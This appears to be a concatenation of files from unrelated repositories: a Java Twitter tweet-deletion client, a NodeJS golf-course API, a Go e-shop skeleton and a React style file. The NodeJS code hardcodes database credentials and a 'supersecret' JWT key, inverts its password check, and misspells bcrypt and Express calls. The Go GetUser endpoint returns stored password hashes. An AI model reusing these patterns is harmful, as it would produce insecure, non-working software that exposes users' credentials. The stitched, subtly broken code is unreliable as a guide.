private static final Pattern PATTERN = Pattern.compile(" \"id\" : \"(\\d+)\",");
private static final Path STORE_FILE = Paths.get("tweets.txt");
private static Optional<String> resolve(final String str) {
final Matcher m = PATTERN.matcher(str);
if (m.matches()) {
return Optional.of(m.group(1));
}
return Optional.empty();
}
public Optional<List<String>> readStore() throws IOException {
if (!Files.isReadable(STORE_FILE)) {
return Optional.empty();
}
try (final BufferedReader reader = Files.newBufferedReader(STORE_FILE)) {
return Optional.of(reader.lines().collect(Collectors.toList()));
}
}
public void store(final List<String> ids) throws IOException {
try (
final BufferedWriter writer = Files.newBufferedWriter(STORE_FILE)) {
for (final String line : ids) {
writer.write(line);
writer.write("\n");
}
}
}
public List<String> getIds(final String fileName) throws IOException {
final Path inPath = Paths.get(fileName);
try (final ZipInputStream zis = new ZipInputStream(Files.newInputStream(inPath), StandardCharsets.UTF_8)) {
ZipEntry ze;
while ((ze = zis.getNextEntry()) != null) {
if ("tweet.js".equals(ze.getName())) {
final BufferedReader reader = new BufferedReader(
new InputStreamReader(zis, StandardCharsets.UTF_8));
final List<String> res = reader.lines()
.map(TwitterArchive::resolve)
.flatMap(Optional::stream)
.collect(Collectors.toList());
log.trace("delete targets: {}", res);
return res;
}
}
}
throw new IOException("Invalid form file: " + fileName);
}
}
```
AuthorizationException.java
```package jp.himeji_cs.exception;
import lombok.NoArgsConstructor;
/**
* ่ชๅฏ็ณปใฎๅ้กใๆช่ช่จผ็ถๆ
ใชใฉใ่ชๅฏใฎๅ้กใจใฟใชใใฆใใพใใ
*/
@NoArgsConstructor
public class AuthorizationException extends RuntimeException {
private static final long serialVersionUID = 7891149108388033192L;
public AuthorizationException(final String message) {
super(message);
}
}
```
TwitterService.java
```package jp.himeji_cs;
import java.io.IOException;
import java.net.HttpCookie;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import java.util.Optional;
import java.util.stream.Collectors;
import jp.himeji_cs.exception.AuthorizationException;
import jp.himeji_cs.exception.TargetNotFoundException;
import lombok.extern.slf4j.Slf4j;
import org.apache.hc.client5.http.classic.methods.HttpGet;
import org.apache.hc.client5.http.classic.methods.HttpPost;
import org.apache.hc.client5.http.config.RequestConfig;
import org.apache.hc.client5.http.cookie.StandardCookieSpec;
import org.apache.hc.client5.http.entity.UrlEncodedFormEntity;
import org.apache.hc.client5.http.impl.classic.CloseableHttpClient;
import org.apache.hc.client5.http.impl.classic.CloseableHttpResponse;
import org.apache.hc.client5.http.impl.classic.HttpClients;
import org.apache.hc.core5.http.Header;
import org.apache.hc.core5.http.HttpResponse;
import org.apache.hc.core5.http.NameValuePair;
import org.apache.hc.core5.http.ParseException;
import org.apache.hc.core5.http.io.entity.EntityUtils;
import org.apache.hc.core5.http.message.BasicNameValuePair;
import org.jsoup.Connection.KeyVal;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.nodes.FormElement;
import org.jsoup.select.Elements;
@Slf4j
public class TwitterService {
private final CloseableHttpClient client;
private HttpCookie mbTkCookie;
public TwitterService() {
final RequestConfig globalConfig = RequestConfig.custom()
.setCookieSpec(StandardCookieSpec.RELAXED)
.setRedirectsEnabled(false)
.build();
client = HttpClients.custom().setDefaultRequestConfig(globalConfig).build();
// client = HttpClients.createDefault();
}
public void init() throws IOException {
log.debug("Called: init");
final HttpGet httpget = new HttpGet(Urls.TOP);
try (final CloseableHttpResponse resp = client.execute(httpget)) {
mbTkCookie = extractCookie(resp, "_mb_tk").orElseThrow();
}
}
private static String toString(final HttpCookie e) {
return String.format("name=%s,value=%s,domain=%s,maxage=%s,secure=%s,httpOnly=%s",
e.getName(), e.getValue(), e.getDomain(), e.getMaxAge(), e.getSecure(), e.isHttpOnly());
}
public void login(final String id, final String password) throws IOException {
log.debug("Called: login");
final List<NameValuePair> nvps = new ArrayList<>();
nvps.add(new BasicNameValuePair("authenticity_token", mbTkCookie.getValue()));
nvps.add(new BasicNameValuePair("session[username_or_email]", id));
nvps.add(new BasicNameValuePair("session[password]", password));
final HttpPost httpPost = new HttpPost(Urls.LOGIN_POST);
httpPost.setEntity(new UrlEncodedFormEntity(nvps));
try (CloseableHttpResponse resp = client.execute(httpPost)) {
extractCookie(resp, "auth_token")
.orElseThrow(() -> new AuthorizationException("Login failed"));
}
}
/**
* ่ฉฒๅฝใใคใผใใๅ้คๅฏ่ฝใใฉใใใ
* ใใใฏใ็ป้ขใซๅ้คใใฟใณใ่กจ็คบใใใใใฉใใใงใใ
* ๅ้คใใฟใณใๆผใใๆใๆฌๅฝใซๅ้คใใใใใฉใใใฏใใใใพใใใ
* (ใชใใจใไปไบบใฎใใคใผใใ่กจ็คบใใๅ ดๅใซใๅ้คใใฟใณใฏ่กจ็คบใใใพใ๏ผ
* ใใใใกใใๅ้คใใฟใณใๆผใใฆใๅ้คใฏใใใพใใ)
*/
public void deleteTweet(final String tweetId) throws IOException, ParseException {
log.debug("Called: deleteTweet: " + tweetId);
final String url = Urls.DELETE_TMPLATE.replace("{id}", tweetId);
final HttpGet statusPage = new HttpGet(url);
// statusPage.addHeader("sec-fetch-site", "same-origin");
statusPage.addHeader("referer", url);
final List<NameValuePair> nvps;
try (final CloseableHttpResponse resp = client.execute(statusPage)) {
final int statusCode = resp.getCode();
if (statusCode == 403) {
log.debug("403 Forbidden: {}", tweetId);
return;
} else if (statusCode == 404) {
log.debug("404 Not Found: {}", tweetId);
return;
} else if (statusCode == 429) {
log.error("429 Too Many Requests: {}", tweetId);
throw new AuthorizationException(
String.format("Delete request(%s) is not accepted: %d",
tweetId, statusCode));
} else if (statusCode >= 400 && statusCode < 500) {
throw new AuthorizationException(
String.format("Delete request(%s) is not accepted: %d",
tweetId, statusCode));
}
final String body = EntityUtils.toString(resp.getEntity());
log.trace("BODY: {}", body);
final Document html = Jsoup.parse(body);
final Elements forms = html.getElementsByTag("form");
final int size = forms.size();
if (size != 1) {
throw new TargetNotFoundException(
String.format("Not found tweet(%d) %s", size, tweetId));
}
final FormElement form = (FormElement) forms.get(0);
final List<KeyVal> formData = form.formData();
log.trace("formData: {}", formData);
final Optional<String> postKeyTweetId = formData.stream()
.map(KeyVal::key)
.filter("tweet_id"::equals)
.findAny();
if (postKeyTweetId.isEmpty()) {
throw new TargetNotFoundException(
String.format("Not found tweet(%d) %s", size, tweetId));
}
nvps = formData.stream()
.map(e -> new BasicNameValuePair(e.key(), e.value()))
.collect(Collectors.toList());
}
final HttpPost deleteReq = new HttpPost(url);
deleteReq.addHeader("referer", url);
deleteReq.setEntity(new UrlEncodedFormEntity(nvps));
try (final CloseableHttpResponse resp = client.execute(deleteReq)) {
// ๆฌๅฝใซๅ้คใใฆใใใใฉใใใฏใใฎใฌในใใณในใงใฏใปใจใใฉๅคๆใใชใใฎใงๆฐไผใ
// ๅ้คใงใใใใกใใใจ็ขบ่ชใใใซใฏๅๅบฆๅใidใงใชใฏใจในใใใใฆใฟใใใ็กใใจๆใ
final int statusCode = resp.getCode();
if (statusCode == 429) {
log.error("429 Too Many Requests");
throw new AuthorizationException(
String.format("Delete request(%s) is not accepted: %d",
tweetId, statusCode));
} else if (statusCode >= 400 && statusCode < 500) {
throw new AuthorizationException(
String.format("Delete request(%s) is not accepted: %d",
tweetId, statusCode));
} else if (statusCode >= 500) {
throw new IOException("Delete error: " + statusCode);
}
}
}
private static Optional<HttpCookie> extractCookie(final HttpResponse resp, final String name) {
final Optional<String> cookieStr = Arrays.stream(resp.getHeaders("set-cookie"))
.map(Header::getValue)
.filter(e -> e.startsWith(name))
.findAny();
log.trace("cookie({}): {}", name, cookieStr);
return cookieStr.map(str -> HttpCookie.parse(str).get(0));
}
}
```
|
yukii/ProjectNodeJS
|
yukii/ProjectNodeJS
auth.controller.js
```const User = require('../models/user.model')
const bcrypt = require('bcrypt')
const jwt = require('jsonwebtoken')
exports.create = (req, res) => {
let heshedPassword = bcrypt.hasgSync(req.body.password, 8);
console.log(heshedPassword)
const user = new User({
email: req.body.email,
password: heshedPassword,
firstName: req.body.firstName,
lastName: req.body.lastName,
admin: req.body.admin
})
// if (err) {
// res.send(err)
// }
// else {
user.save().then(data => {
let token = jwt.sign({
id: user.email,
admin: user.admin
},
'supersecret',
{
expiresIn: 86400
})
res.send({
auth: true,
token: token,
body: data
})
}).catch(err => {
res.status(500).send({
message: err.message
})
console.log(err)
})
// }
}
exports.login = (req, res) => {
User.findOne(req.body.email).then(user => { // {email: req.body.email}
if (!user) {return res.status(404).send('nope')}
if (bcrypt.compareSync(req.body.password, user.password)) {
return res.status(401).send({
auth: false,
token: null
})
}
let token = jwt.sign({
id: user._id,
admin: user.admin,
data: user
}, "supersecret", {
expires: 86400
})
res.status(200).send({
auth: true,
token: token
})
})
// etape 1: rechercher dans la db le user avec email
// etape 2: vรฉrifier si le mot de passe reรงu == mot de passe dans la db
// etape 3: gรฉnรฉrer un nouveau token et onl'envoie dans la rรฉponse
}
```
db.config.js
```module.exports = {
// changer le nom de la db
url:"mongodb://admin:myroot1@ds219839.mlab.com:19839/golf"
}
```
README.md
```# ProjectNodeJS
Projet de NodeJS B3
Mari-Annaig Dupaya
Vous aurez besoin d'installer les modules node js:
- express
- body-parser
- mongoose
- jsonwebtaken
- bcrypt
```
mongoose.service.js
```const mongoose = require('mongoose');
const config = require('../config/db.config');
exports.connect = () => {
let url = config.url;
mongoose.connect(url, {
useNewUrlParser : true,
useUnifiedTopology: true
}
).then(() => {
console.log('Sucess to connect to db')
}).catch(err => {
console.log('could not connect to db : '.err)
process.exit(-1)
})
}
```
user.route.js
```const express = require('express')
const router = express.Router()
const user = require('../controllers/user.controller')
const verifyToken = require('../helpers/verifyToken')
router.post('/users', verifyToken, user.create)
router.get('/users', verifyToken, user.all)
router.get('/removeAll', verifyToken, user.removeAll)
router.get('/users/id', verifyToken, user.findOne)
router.get('/users/update/id', verifyToken, user.updateOne)
router.get('/users/remove/id', verifyToken, user.removeOne)
module.exports = router ```
manager.route.js
```const express = require('express')
const router = express.Router()
const manager = require('../controllers/manager.controller')
const verifyToken = require('../helpers/verifyToken')
router.post('/managers', verifyToken, manager.create)
router.get('/managers', verifyToken, manager.all)
router.get('/removeAll', verifyToken, manager.removeAll)
router.get('/managers/id', verifyToken, manager.findOne)
router.get('/managers/update/id', verifyToken, manager.updateOne)
router.get('/managers/remove/id', verifyToken, manager.removeOne)
module.exports = router```
golf.route.js
```const express = require('express')
const router = express.Router()
const golf = require('../controllers/golf.controller')
const verifyToken = require('../helpers/verifyToken')
router.post('/golfs', verifyToken, golf.create)
router.get('/golfs', golf.all)
router.get('/removeAll', verifyToken, golf.removeAll)
router.get('/golfs/id', golf.findOne)
router.get('/golfs/update/id', verifyToken, golf.updateOne)
router.get('/golfs/remove/id', verifyToken, golf.removeOne)
module.exports = router```
user.controller.js
```const User = require('../models/user.model')
const bcrypt = require('bcrypt')
exports.create = (req, res) => {
let heshedPassword = bcrypt.hasgSync(req.body.password, 8);
console.log(heshedPassword)
const user = new User({
email: req.body.email,
password: heshedPassword,
firstName: req.body.firstName,
lastName: req.body.lastName,
admin: req.body.admin
})
user.save().then(data => {
res.send(data)
}).catch(err => {
res.status(500).send({
message: err.message
})
console.log(err)
})
}
exports.all = (req, res) => {
User.find().then(users => {
res.send(users)
}).catch(err => {
res.status(500).send({
message: err.message || "Some errors occured when finding users"
})
})
}
exports.findOne = (req, res) => {
User.findById(req.param.id).then(user => {
if (!user) {
return res.status(404).send({
message: 'User not found'
})
}
res.send(user)
}).catch(err => {
res.statut(500).send({message : err.message})
})
}
exports.updateOne = (req, res) => {
User.findByIdAndUpdate(req.param.id, req.body).then(user => {
if (!user) {
return res.status(404).send({
message: 'User not found'
})
}
res.send(user)
User.findById(req.param.id).then(newUser => {
res.send(newUser)
})
}).catch(err => {
res.statut(500).send({message : err.message})
})
}
exports.removeOne = (req, res) => {
User.findByIdAndRemove(req.params.id).then(user => {
res.send({message: "User delete with success"})
}).catch(err => {
res.statut(500).send({message : err.message})
})
}
exports.removeAll = (req, res) => {
User.removeAll().then(user => {
res.send({message: "Users delete with success"})
}).catch(err => {
res.statut(500).send({message : err.message})
})
}
```
manager.controller.js
```const manager = require('../models/manager.model')
const bcrypt = require('bcrypt')
exports.create = (req, res) => {
let heshedPassword = bcrypt.hasgSync(req.body.password, 8);
console.log(heshedPassword)
const manager = new Manager({
nom: req.body.nom,
prenom: req.body.prenom,
email: req.body.email,
telephone: req.body.telephone
})
manager.save().then(data => {
res.send(data)
}).catch(err => {
res.status(500).send({
message: err.message
})
console.log(err)
})
}
exports.all = (req, res) => {
manager.find().then(managers => {
res.send(managers)
}).catch(err => {
res.status(500).send({
message: err.message || "Some errors occured when finding managers"
})
})
}
exports.findOne = (req, res) => {
manager.findById(req.param.id).then(manager => {
if (!manager) {
return res.status(404).send({
message: 'manager not found'
})
}
res.send(manager)
}).catch(err => {
res.statut(500).send({message : err.message})
})
}
exports.updateOne = (req, res) => {
manager.findByIdAndUpdate(req.param.id, req.body).then(manager => {
if (!manager) {
return res.status(404).send({
message: 'manager not found'
})
}
res.send(manager)
manager.findById(req.param.id).then(newmanager => {
res.send(newmanager)
})
}).catch(err => {
res.statut(500).send({message : err.message})
})
}
exports.removeOne = (req, res) => {
manager.findByIdAndRemove(req.params.id).then(manager => {
res.send({message: "manager delete with success"})
}).catch(err => {
res.statut(500).send({message : err.message})
})
}
exports.removeAll = (req, res) => {
manager.removeAll().then(manager => {
res.send({message: "managers delete with success"})
}).catch(err => {
res.statut(500).send({message : err.message})
})
}
```
express.service.js
```const express = require('express')
const config = require('../config/server.config.js')
const bodyParser = require('body-parser')
const apiRouter = require('../routes/index.js')
const cors = require('cors')
const app = express();
app.use(bodyParser.json())
app.use('/api/v1', apiRouter)
exports.start = () => {
let port = config.port;
app.listen(port, (err) => {
if (err) {
console.log('Error : ${err}')
process.exit(-1);
}
console.log('hey')
})
}
```
golf.controller.js
```const Golf = require('../models/golf.model')
const bcrypt = require('bcrypt')
exports.create = (req, res) => {
let heshedPassword = bcrypt.hasgSync(req.body.password, 8);
console.log(heshedPassword)
const golf = new Golf({
titre: req.body.titre,
latitude: req.body.latitude,
longitude: req.body.longitude,
description: req.body.description,
manager: req.body.manager
})
golf.save().then(data => {
res.send(data)
}).catch(err => {
res.status(500).send({
message: err.message
})
console.log(err)
})
}
exports.all = (req, res) => {
golf.find().then(golfs => {
res.send(golfs)
}).catch(err => {
res.status(500).send({
message: err.message || "Some errors occured when finding golfs"
})
})
}
exports.findOne = (req, res) => {
golf.findById(req.param.id).then(golf => {
if (!golf) {
return res.status(404).send({
message: 'golf not found'
})
}
res.send(golf)
}).catch(err => {
res.statut(500).send({message : err.message})
})
}
exports.updateOne = (req, res) => {
golf.findByIdAndUpdate(req.param.id, req.body).then(golf => {
if (!golf) {
return res.status(404).send({
message: 'golf not found'
})
}
res.send(golf)
golf.findById(req.param.id).then(newgolf => {
res.send(newgolf)
})
}).catch(err => {
res.statut(500).send({message : err.message})
})
}
exports.removeOne = (req, res) => {
golf.findByIdAndRemove(req.params.id).then(golf => {
res.send({message: "golf delete with success"})
}).catch(err => {
res.statut(500).send({message : err.message})
})
}
exports.removeAll = (req, res) => {
golf.removeAll().then(golf => {
res.send({message: "golfs delete with success"})
}).catch(err => {
res.statut(500).send({message : err.message})
})
}
```
server.config.js
```module.exports = {
port:"3000",
name:"project"
}```
|
yukirinYan/test
|
yukirinYan/test
README.md
```# test
## this a new
fdsafdas
## ไธๆน้ฅญๅบๆ็ฎๅ็
ๅ้ซปไธ้ฃๆบ็ๆ็ ด่งฃ้ๅ
ท่ดนๅ
ฑๅๅคง่ฎก
fๅคงไบๅ็```
|
yukkiball/gf-eshop
|
yukkiball/gf-eshop
user_vo.go
```/**
* @Author yuki
* @Date 2021/11/6
*/
package model
type UserVo struct {
Id int
Name string
Gender int
Age int
Telphone string
RegisterMode string
ThirdPartyId string
EncryptPassword string
}```
Order.go
```/**
* @Author yuki
* @Date 2021/11/6
*/
package api
import "github.com/gogf/gf/net/ghttp"
var Order = new(OrderApi)
type OrderApi struct {
}
func (*OrderApi) GenerateVerifyCode(r *ghttp.Request) {
}
func (*OrderApi) GenerateToken(r *ghttp.Request) {
}
func (*OrderApi) CreateOrder(r *ghttp.Request) {
}
```
order_info.go
```// ==========================================================================
// Code generated by GoFrame CLI tool. DO NOT EDIT.
// ==========================================================================
package internal
import (
"github.com/gogf/gf/database/gdb"
"github.com/gogf/gf/frame/g"
"github.com/gogf/gf/frame/gmvc"
)
// OrderInfoDao is the manager for logic model data accessing and custom defined data operations functions management.
type OrderInfoDao struct {
gmvc.M // M is the core and embedded struct that inherits all chaining operations from gdb.Model.
C orderInfoColumns // C is the short type for Columns, which contains all the column names of Table for convenient usage.
DB gdb.DB // DB is the raw underlying database management object.
Table string // Table is the underlying table name of the DAO.
}
// OrderInfoColumns defines and stores column names for table order_info.
type orderInfoColumns struct {
Id string //
UserId string //
ItemId string //
ItemPrice string //
Amount string //
OrderPrice string //
PromoId string //
}
// NewOrderInfoDao creates and returns a new DAO object for table data access.
func NewOrderInfoDao() *OrderInfoDao {
columns := orderInfoColumns{
Id: "id",
UserId: "user_id",
ItemId: "item_id",
ItemPrice: "item_price",
Amount: "amount",
OrderPrice: "order_price",
PromoId: "promo_id",
}
return &OrderInfoDao{
C: columns,
M: g.DB("default").Model("order_info").Safe(),
DB: g.DB("default"),
Table: "order_info",
}
}
```
order_info.go
```// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// =================================================================================
package dao
import (
"gf-eshop/app/dao/internal"
)
// orderInfoDao is the manager for logic model data accessing and custom defined data operations functions management.
// You can define custom methods on it to extend its functionality as you wish.
type orderInfoDao struct {
*internal.OrderInfoDao
}
var (
// OrderInfo is globally public accessible object for table order_info operations.
OrderInfo orderInfoDao
)
func init() {
OrderInfo = orderInfoDao{
internal.NewOrderInfoDao(),
}
}
// Fill with you ideas below.
```
router.go
```package router
import (
"gf-eshop/app/api"
"github.com/gogf/gf/frame/g"
"github.com/gogf/gf/net/ghttp"
)
func MiddlewareCORS(r *ghttp.Request) {
r.Response.CORSDefault()
r.Middleware.Next()
}
func init() {
s := g.Server()
s.Use(MiddlewareCORS)
s.Group("/item", func(group *ghttp.RouterGroup) {
group.POST("/create", api.Item.CreateItem)
group.GET("/get", api.Item.GetItem)
group.GET("/list", api.Item.ListItem)
group.GET("/publishPromo", api.Item.PublishPromo)
})
s.Group("/order", func(group *ghttp.RouterGroup) {
group.ALL("/generateVerifyCode", api.Order.GenerateVerifyCode)
group.POST("/generateToken", api.Order.GenerateToken)
group.POST("/create", api.Order.CreateOrder)
})
s.Group("/user", func(group *ghttp.RouterGroup) {
group.POST("/login", api.User.Login)
group.POST("/register", api.User.Register)
group.POST("getOtp", api.User.GetOtp)
group.GET("/getUser", api.User.GetUser)
})
}
```
Item.go
```/**
* @Author yuki
* @Date 2021/11/6
*/
package api
import (
"gf-eshop/library/constants"
"gf-eshop/library/response"
"github.com/gogf/gf/net/ghttp"
)
var Item = new(ItemApi)
type ItemApi struct{}
func (*ItemApi) CreateItem(r *ghttp.Request) {
}
func (*ItemApi) GetItem(r *ghttp.Request) {
response.JsonExit(r, constants.Success, "test")
}
func (*ItemApi) ListItem(r *ghttp.Request) {
}
func (*ItemApi) PublishPromo(r *ghttp.Request) {
}
```
resp_const.go
```package constants
const Success = 1000
const Fail = 2000
const Unknown = 3000
```
user_info.go
```// ==========================================================================
// Code generated by GoFrame CLI tool. DO NOT EDIT.
// ==========================================================================
package internal
import (
"github.com/gogf/gf/database/gdb"
"github.com/gogf/gf/frame/g"
"github.com/gogf/gf/frame/gmvc"
)
// UserInfoDao is the manager for logic model data accessing and custom defined data operations functions management.
type UserInfoDao struct {
gmvc.M // M is the core and embedded struct that inherits all chaining operations from gdb.Model.
C userInfoColumns // C is the short type for Columns, which contains all the column names of Table for convenient usage.
DB gdb.DB // DB is the raw underlying database management object.
Table string // Table is the underlying table name of the DAO.
}
// UserInfoColumns defines and stores column names for table user_info.
type userInfoColumns struct {
Id string //
Name string //
Gender string // //1ไปฃ่กจ็ทๆง๏ผ2ไปฃ่กจๅฅณๆง
Age string //
Telphone string //
RegisterMode string // //byphone, bywechat, by alipay
ThirdPartyId string //
}
// NewUserInfoDao creates and returns a new DAO object for table data access.
func NewUserInfoDao() *UserInfoDao {
columns := userInfoColumns{
Id: "id",
Name: "name",
Gender: "gender",
Age: "age",
Telphone: "telphone",
RegisterMode: "register_mode",
ThirdPartyId: "third_party_id",
}
return &UserInfoDao{
C: columns,
M: g.DB("default").Model("user_info").Safe(),
DB: g.DB("default"),
Table: "user_info",
}
}
```
User.go
```/**
* @Author yuki
* @Date 2021/11/6
*/
package api
import (
"gf-eshop/app/service"
"gf-eshop/library/constants"
"gf-eshop/library/response"
"github.com/gogf/gf/frame/g"
"github.com/gogf/gf/net/ghttp"
)
var User = new(UserApi)
type UserApi struct {
}
func (*UserApi) Login(r *ghttp.Request) {
}
func (*UserApi) Register(r *ghttp.Request) {
}
func (*UserApi) GetOtp(r *ghttp.Request) {
}
func (*UserApi) GetUser(r *ghttp.Request) {
id := r.GetInt("id")
userVo, err := service.User.GetUserById(id)
//fmt.Println(userVo)
if err != nil {
g.Log().Errorf("่ทๅ็จๆทๅคฑ่ดฅ")
}
response.JsonExit(r, constants.Success, "่ทๅ็จๆทๆๅ", userVo)
}
```
model.go
```// =================================================================================
// Code generated by GoFrame CLI tool. DO NOT EDIT.
// =================================================================================
package model
import (
"github.com/gogf/gf/os/gtime"
)
// Item is the golang structure for table item.
type Item struct {
Id int `orm:"id,primary" json:"id"` //
Title string `orm:"title" json:"title"` //
Price float64 `orm:"price" json:"price"` //
Description string `orm:"description" json:"description"` //
Sales int `orm:"sales" json:"sales"` //
ImgUrl string `orm:"img_url" json:"imgUrl"` //
}
// ItemStock is the golang structure for table item_stock.
type ItemStock struct {
Id int `orm:"id,primary" json:"id"` //
Stock int `orm:"stock" json:"stock"` //
ItemId int `orm:"item_id" json:"itemId"` //
}
// OrderInfo is the golang structure for table order_info.
type OrderInfo struct {
Id string `orm:"id,primary" json:"id"` //
UserId int `orm:"user_id" json:"userId"` //
ItemId int `orm:"item_id" json:"itemId"` //
ItemPrice float64 `orm:"item_price" json:"itemPrice"` //
Amount int `orm:"amount" json:"amount"` //
OrderPrice float64 `orm:"order_price" json:"orderPrice"` //
PromoId int `orm:"promo_id" json:"promoId"` //
}
// Promo is the golang structure for table promo.
type Promo struct {
Id int `orm:"id,primary" json:"id"` //
PromoName string `orm:"promo_name" json:"promoName"` //
StartDate *gtime.Time `orm:"start_date" json:"startDate"` //
ItemId int `orm:"item_id" json:"itemId"` //
PromoItemPrice float64 `orm:"promo_item_price" json:"promoItemPrice"` //
EndDate *gtime.Time `orm:"end_date" json:"endDate"` //
}
// SequenceInfo is the golang structure for table sequence_info.
type SequenceInfo struct {
Name string `orm:"name,primary" json:"name"` //
CurrentValue int `orm:"current_value" json:"currentValue"` //
Step int `orm:"step" json:"step"` //
}
// UserInfo is the golang structure for table user_info.
type UserInfo struct {
Id int `orm:"id,primary" json:"id"` //
Name string `orm:"name" json:"name"` //
Gender int `orm:"gender" json:"gender"` // //1ไปฃ่กจ็ทๆง๏ผ2ไปฃ่กจๅฅณๆง
Age int `orm:"age" json:"age"` //
Telphone string `orm:"telphone,unique" json:"telphone"` //
RegisterMode string `orm:"register_mode" json:"registerMode"` // //byphone, bywechat, by alipay
ThirdPartyId string `orm:"third_party_id" json:"thirdPartyId"` //
}
// UserPassword is the golang structure for table user_password.
type UserPassword struct {
Id int `orm:"id,primary" json:"id"` //
EncrptPassword string `orm:"encrpt_password" json:"encrptPassword"` //
UserId int `orm:"user_id" json:"userId"` //
}
```
item.go
```// ==========================================================================
// Code generated by GoFrame CLI tool. DO NOT EDIT.
// ==========================================================================
package internal
import (
"github.com/gogf/gf/database/gdb"
"github.com/gogf/gf/frame/g"
"github.com/gogf/gf/frame/gmvc"
)
// ItemDao is the manager for logic model data accessing and custom defined data operations functions management.
type ItemDao struct {
gmvc.M // M is the core and embedded struct that inherits all chaining operations from gdb.Model.
C itemColumns // C is the short type for Columns, which contains all the column names of Table for convenient usage.
DB gdb.DB // DB is the raw underlying database management object.
Table string // Table is the underlying table name of the DAO.
}
// ItemColumns defines and stores column names for table item.
type itemColumns struct {
Id string //
Title string //
Price string //
Description string //
Sales string //
ImgUrl string //
}
// NewItemDao creates and returns a new DAO object for table data access.
func NewItemDao() *ItemDao {
columns := itemColumns{
Id: "id",
Title: "title",
Price: "price",
Description: "description",
Sales: "sales",
ImgUrl: "img_url",
}
return &ItemDao{
C: columns,
M: g.DB("default").Model("item").Safe(),
DB: g.DB("default"),
Table: "item",
}
}
```
user_info.go
```// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// =================================================================================
package dao
import (
"gf-eshop/app/dao/internal"
"gf-eshop/app/model"
"github.com/gogf/gf/frame/g"
)
// userInfoDao is the manager for logic model data accessing and custom defined data operations functions management.
// You can define custom methods on it to extend its functionality as you wish.
type userInfoDao struct {
*internal.UserInfoDao
}
var (
// UserInfo is globally public accessible object for table user_info operations.
UserInfo userInfoDao
)
func init() {
UserInfo = userInfoDao{
internal.NewUserInfoDao(),
}
}
// Fill with you ideas below.
func (*userInfoDao) GetUserById(id int) (userInfo *model.UserInfo, err error){
err = UserInfo.Where("id=?", id).Scan(&userInfo)
if err != nil {
g.Log().Errorf("ๆ นๆฎID่ทๅ็จๆทๅคฑ่ดฅ๏ผๅคฑ่ดฅไฟกๆฏ๏ผ%v", err.Error())
}
return
}
```
user.go
```/**
* @Author yuki
* @Date 2021/11/6
*/
package service
import (
"gf-eshop/app/dao"
"gf-eshop/app/model"
"github.com/jinzhu/copier"
)
var User = new(userService)
type userService struct {
}
func (*userService) GetUserById(id int) (userVo *model.UserVo, err error) {
userInfo, err := dao.UserInfo.GetUserById(id)
userVo = &model.UserVo{}
err = copier.Copy(userVo, userInfo)
if err != nil {
return nil, err
}
userPassword, err := dao.UserPassword.GetPasswordById(id)
userVo.EncryptPassword = userPassword.EncrptPassword
return
}
```
promo.go
```// ==========================================================================
// Code generated by GoFrame CLI tool. DO NOT EDIT.
// ==========================================================================
package internal
import (
"github.com/gogf/gf/database/gdb"
"github.com/gogf/gf/frame/g"
"github.com/gogf/gf/frame/gmvc"
)
// PromoDao is the manager for logic model data accessing and custom defined data operations functions management.
type PromoDao struct {
gmvc.M // M is the core and embedded struct that inherits all chaining operations from gdb.Model.
C promoColumns // C is the short type for Columns, which contains all the column names of Table for convenient usage.
DB gdb.DB // DB is the raw underlying database management object.
Table string // Table is the underlying table name of the DAO.
}
// PromoColumns defines and stores column names for table promo.
type promoColumns struct {
Id string //
PromoName string //
StartDate string //
ItemId string //
PromoItemPrice string //
EndDate string //
}
// NewPromoDao creates and returns a new DAO object for table data access.
func NewPromoDao() *PromoDao {
columns := promoColumns{
Id: "id",
PromoName: "promo_name",
StartDate: "start_date",
ItemId: "item_id",
PromoItemPrice: "promo_item_price",
EndDate: "end_date",
}
return &PromoDao{
C: columns,
M: g.DB("default").Model("promo").Safe(),
DB: g.DB("default"),
Table: "promo",
}
}
```
item_stock.go
```// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// =================================================================================
package dao
import (
"gf-eshop/app/dao/internal"
)
// itemStockDao is the manager for logic model data accessing and custom defined data operations functions management.
// You can define custom methods on it to extend its functionality as you wish.
type itemStockDao struct {
*internal.ItemStockDao
}
var (
// ItemStock is globally public accessible object for table item_stock operations.
ItemStock itemStockDao
)
func init() {
ItemStock = itemStockDao{
internal.NewItemStockDao(),
}
}
// Fill with you ideas below.
```
user_password.go
```// =================================================================================
// This is auto-generated by GoFrame CLI tool only once. Fill this file as you wish.
// =================================================================================
package dao
import (
"gf-eshop/app/dao/internal"
"gf-eshop/app/model"
"github.com/gogf/gf/frame/g"
)
// userPasswordDao is the manager for logic model data accessing and custom defined data operations functions management.
// You can define custom methods on it to extend its functionality as you wish.
type userPasswordDao struct {
*internal.UserPasswordDao
}
var (
// UserPassword is globally public accessible object for table user_password operations.
UserPassword userPasswordDao
)
func init() {
UserPassword = userPasswordDao{
internal.NewUserPasswordDao(),
}
}
// Fill with you ideas below.
func (*userPasswordDao) GetPasswordById(id int) (userPassword *model.UserPassword, err error){
err = UserPassword.Where("user_id=?", id).Scan(&userPassword)
if err != nil {
g.Log().Errorf("ๆ นๆฎID่ทๅ็จๆทๅฏ็ ๏ผๅคฑ่ดฅไฟกๆฏ๏ผ%v", err.Error())
}
return
}```
|
yukoliesh/random-color-generator
|
yukoliesh/random-color-generator
style.js
```import styled from '@xstyled/styled-components';
import { th } from '@xstyled/system';
import { Flex } from "reflexbox";
import { darken } from 'polished'
export const LoadingBackground = styled(Flex)`
width: 100%;
height: 100vh;
`;
export const BackgroundWrapper = styled(Flex)`
background-color: ${(props) => props.bgColor};
width: 100%;
height: 100vh;
`;
export const Title = styled.h1`
font-size: ${th.fontSize(5)};
font-weight: 600;
margin: ${th.space(2)} 0;
color: ${(props) => props.color};
`;
export const Desc = styled.p`
font-size: ${th.fontSize(3)};
margin: 0;
color: ${(props) => props.color};
`;
export const RightAligned = styled(Flex)`
text-align: right;
`;
export const ColorName = styled.h2`
font-size: ${th.fontSize(8)};
margin: 0;
letter-spacing: ${th.space(1)};
color: ${(props) => props.color};
`;
export const ThemedTxtColor = styled.span`
color: ${(props) => props.color};
`;
export const GeneratorButton = styled.button`
padding: ${th.space(2)} ${th.space(5)};
cursor: pointer;
font-size: ${th.fontSize(3)};
font-weight: ${th.fontWeight(600)};
width: 40%;
max-width: 300px;
border-radius: ${th.space(8)};
color: ${(props) => props.color};
